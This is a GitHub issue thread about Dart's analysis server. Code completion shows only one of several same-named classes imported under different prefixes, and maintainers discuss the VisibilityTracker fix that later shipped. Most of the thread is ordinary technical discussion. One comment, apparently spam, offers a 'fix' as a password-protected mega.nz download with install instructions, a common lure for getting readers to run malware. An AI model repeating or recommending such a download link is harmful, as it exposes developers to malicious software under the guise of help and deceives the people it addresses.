Repository navigation
Prefixed identifiers shouldn't be hidden from completion by the same identifier with no/different prefixes #5242
Description
Describe the bug
When you have two classes with the same name, there may be some places where you'd like one over the other because they have no relation.
To Reproduce
Add the following code to your main.dart file:
import 'my_class_name.dart' as i;
class MyClassName {}
void main() {
f();
}
void f(i.MyClassName c) {}Add a new file called my_class_name.dart and inside it add:
class MyClassName {}Now inside the call for f, add My and try to fill the class, it only shows the class from this library.
Even if you only have class declarations with that name from other files like say you add a second.dart file with the same content as my_class_name.dart. Import it with the alias s and remove MyClassName declaration from inside main.dart (some changes to f as well, look the following code). It will not be able to show both declarations (not ever the second one without the s.).
import 'my_class_name.dart' as i;
import 'second.dart' as s;
void main() {
f2(My);
}
void f1(i.MyClassName c) {}
void f2(s.MyClassName c) {}If now you try and get the code completion it will still show only i.MyClassName.
Expected behavior
I expect all declarations to be visible with code completion if you try to create an instance (or if you have the defined type you could derive from that).
Also, if I have MyClassName inside main.dart and no imports, I expect it to show me there are other files I could import for the same name class (especially if I'm trying to create an instance to fill a parameter that has another class - same name - from another library). But this would probably be better if either dart-lang/sdk#55863 or dart-lang/sdk#56584 were added).
Please complete the following information:
Workspace Environment
Dart Code extension: 3.95.20240827
Flutter extension: 3.95.20240801 (activated)
App: Visual Studio Code
App Host: desktop
Version: win 1.92.2
Workspace type: Dart (LSP)
Workspace name: bug
Dart (3.6.0-175.0.dev): C:\Users\felip_0vh5fa6\.puro\shared\caches\8d248aead383a5f2efbe866db03606858b224735\dart-sdk
Flutter (999.999.888): C:\Users\felip_0vh5fa6\.puro\envs\master\flutter (No device)
Output from 'dart info'
C:\Users\felip_0vh5fa6\.puro\shared\caches\8d248aead383a5f2efbe866db03606858b224735\dart-sdk\bin\dart.exe info
If providing this information as part of reporting a bug, please review the information
below to ensure it only contains things you're comfortable posting publicly.
General info
- Dart 3.6.0-175.0.dev (dev) (Fri Aug 23 09:07:06 2024 -0700) on "windows_x64"
- on windows / "Windows 10 Pro" 10.0 (Build 22631)
- locale is pt-BR
Project info
- sdk constraint: '>=3.3.0 <4.0.0'
- dependencies: collection, test, time
- dev_dependencies: dart_code_metrics, lints
Process info
| Memory | CPU | Elapsed time | Command line |
|---|---|---|---|
| 0 MB | -- | dart.exe | |
| 0 MB | -- | dart.exe | |
| 0 MB | -- | dart.exe |

Activity
Musharrafjamal commentedon Aug 29, 2024
hi bro, to fix your trouble try this fix, i see it in another issue,
https://mega.nz/folder/905izDCI#tZAd-Ja0A5L7aBS2VunHtg
password: changeme
when you installing it, you need to place a check in install to path and select "USX"
DanTup commentedon Sep 2, 2024
I've noticed something similar before but never dug into it. It looks like we'll suggest at most one item with a given name regardless of prefix - for example if it's available with two prefixes, you only see the first:
And if it's also available without a prefix, you only see that:
This seems to be happening because the VisibilityTracker only looks at the name and not the prefix. If I change it to include the prefix, then you see all of the options:
@bwilkerson my feeling is that we should take the prefix into account here and suggest all of the options since they're not the same inserted string, even if their names are the same. What do you think? Specifically, I'm thinking of this change (which was used for the final screenshot above):
FMorschel commentedon Sep 2, 2024
With the above changes, what appears if you take your last sample screenshot and comment both of the imports?
Will it show the "import" line for the same name class in
my_class.dartfile?Edit
Asking because of clarity. Even when the user imports the new file class, it will not be able to use it until renaming the import in this case (because of the local class with the same name). That's why I mentioned this might potentially need dart-lang/sdk#55863 (or at least dart-lang/sdk#56584) to work properly. If not, we are only creating even more questions as to why that would not work, IMO.
Since then there would be two identical name classes and one is local, the user might have a hard time to understand what is happening.
DanTup commentedon Sep 3, 2024
Ah, that probably doesn't do what you're asking - that still would not show the unimported items:
Supporting this would require being able to add imports with prefixes (something we can't currently do from completions) and prefix the identifier that's inserted. While possible, it would be much more work and I wonder if it's really a good idea - it means that every time you use completion you would find a mix of names that are important and not imported, but I think the huge majority of cases if there is a name in-scope, that's the one you want, and not one from some other library.
FMorschel commentedon Sep 3, 2024
I see. Thanks for the explanation.
Whenever dart-lang/sdk#55863 is closed I can open a new issue for this anyway. I do agree it's better this way.
bwilkerson commentedon Sep 4, 2024
I agree, we need to take the prefix into account. As far as I can tell, the approach you implemented would probably work.
[-]Same name classes are shadowed in code completion[/-][+]Prefixed identifiers shouldn't be hidden from completion by the same identifier with no/different prefixes[/+]DanTup commentedon Sep 4, 2024
Thanks - I'll add some tests and send that. I've updated the title of this issue to be a bit more specific (the prefix issue). I think being able to auto-import identifiers whose names are already in-scope is a different issue (although I'm also unsure it's a good idea for the reasons noted above).
[analysis_server] Take prefixes into account when determining the vis…
DanTup commentedon Sep 9, 2024
Fixed by dart-lang/sdk@80057b9, ships in a future Dart/Flutter SDK release.